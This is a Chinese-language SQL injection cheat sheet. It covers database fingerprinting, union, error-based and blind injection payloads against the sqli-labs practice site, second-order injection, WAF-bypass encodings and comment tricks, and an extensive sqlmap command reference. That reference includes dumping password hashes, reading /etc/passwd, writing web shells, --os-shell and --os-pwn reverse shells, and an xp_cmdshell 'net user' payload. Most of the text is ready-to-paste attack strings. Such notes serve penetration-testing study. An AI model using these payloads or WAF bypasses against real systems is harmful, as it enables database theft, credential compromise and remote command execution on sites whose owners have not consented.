SQL注入
SQL注入
数据库类型
前端与数据库类型
asp:SQL Server,Access
net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL根据端口号
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306根据数据库特有函数来判断
version和@@version
version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数substring和substr
MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring根据特殊符号进行判断
/*
是MySQL数据库的注释符--
是Oracle和SQL Server支持的注释符;
是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库#
是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/根据数据库对字符串的处理方式判断
#mysql select * fron users where id=1 and 'a'+'b'='ab' ; select * fron users where id=1 and CONCAT('a','b')='ab' ; #Oracle select * fron users where id=1 and 'a'||'b'='ab' ; select * fron users where id=1 and CONCAT('a','b')='ab' ; #Sql Server select * fron users where id=1 and 'a'+'b'='ab' ;
根据数据库特有的数据表来判断
#mysql select * fron users where id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1; #Oracle select * fron users where id=1 and (select count(*) from sys.user_tables)>0 and 1=1; #Sql Server select * fron users where id=1 and (select count(*) from sysobjects)>0 and 1=1;
例子
1.正常结果
http://sqli-libs:9001/Less-2/?id=1--
2.查询列(也可以从information_schema.tables拿到,需要配合当前数据库名)
http://sqli-libs:9001/Less-2/?id=1 order by 4
http://sqli-libs:9001/Less-2/?id=1 order by 3//正常显示
3.查询当前数据库
http://sqli-libs:9001/Less-2/?id=-1 and updatexml(1,concat(0x5e,database(),0x5e),1)--+ 基于错误
SELECT * FROM users WHERE id=-1 union select null,concat(0x5e,DATABASE(),0x5e),null,null
4.查询当前数据库所有表
http://sqli-libs:9001/Less-2/?id=-1 union select null, group_concat(table_name),null from information_schema.TABLES
where table_schema ='security';--+
5.所有属性,字段只需要在information_schema里找就可
sql盲注
1、基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
2、基于时间的sQL盲注-延时判断 if ,sleep
3、基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue
1.判断是否有注入
select * from member where id=1 and sleep(5);
2.判断数据库是否为security
select sleep(database()='security',3,0);
like 'ros' #判断ro或ro...是否成立
regexp '^xiaodi [a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0)
mid (a, b, c) #从位置b开始,截取a字符串的c位
substr( a,b, c) #从b位置开始,截取字符串a的c长度
left (database(),1), database() #left(a,b)从左侧截取a的前b位
length(database ())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
3.第一位是不是s
select * from users where id=1 and sleep(if(mid(database(),1,1)='s',5,0));
布尔注入
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
1.猜解获取数据库长度
' or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
2.猜解数据库名
'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
3.猜解表的总数
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判断表的总数
4.猜解第一个表名的长度
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
5.猜解第一个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
1234
6.猜解表的字段的总数
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
1
7.猜解第一个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
12
8.猜解第一个字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
123
9.猜解内容长度
假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
二次注入
数据库原有一个admin的人
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
+----+----------+------------+
8 rows in set (0.00 sec)
注册一个admin'#的用户 (根据修改密码时候闭合来选择符号)
//注册
$uname="admin' #";
$pwd="123456";
$sql="insert into users values(null,'$uname','$pwd');"
$result=mysql_query($sql);
//修改密码
/*此时的语句是 update users set password=$pwd where username='admin'#*/
修改的是admin的密码
dnslog注入
涉及资源:
http://ceye.io
http://dnslog.cn/
堆叠查询注入
若存在堆叠查询注入,如果为dba则直接创建一个管理员用户
WAF绕过
- WAF的常见特点:
异常检测协议:拒绝不符合HTTP标准的请求
增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
状态管理:重点进行会话保护
另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器,WAF有其识别之道:
扫描器识别主要由以下几点:
- 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
- 单IP+ cookie某时间段内触发规则次数
- 隐藏的链接标签等()
- Cookie植入
- 验证码验证,扫描器无法自动填充验证码
绕过WAF的方法
a) 大小写混合
id=-15 uNIoN sELecT 1,2,3,4
b)替换关键字
id=-15 UNIunionON SELselectECT 1,2,3,4
c)使用编码
URL编码:1%252f%252a*/UNION%252f%252a /SELECT
十六进制编码:id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode编码
常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
d)使用注释
常见的用于注释的符号有哪些://, -- , /*/, #, --+,-- -, ;,--a**
普通注释:'union%a0select pass from users#
内联注释:?page_id=null%0A///*!50000%55nIOn*//yoyu/all//%0A/*!%53eLEct*/%0A/nnaa/+1,2,3,4…
e)等价函数与命令
函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@[@user ]() ==> user()
@[@datadir ]() ==> datadir()
符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,
基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,
而且代价太大,看来黑名单技术到一定程度便遇到了限制
f)特殊符号
1.使用反引号\`,例如select version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
例子
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
' or --+2=- -!!!'2
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
#### g)HTTP参数控制
1.HPP(HTTP Parameter Polution)
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users
2.HPF(HTTP Parameter Fragment)
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select from table where a=1 union/ and b=/select 1,pass/ limit */from users—
3.HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
#### h)缓冲区溢出
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次
#### i)整合绕过
整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
sqlmap
基本操作:
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试: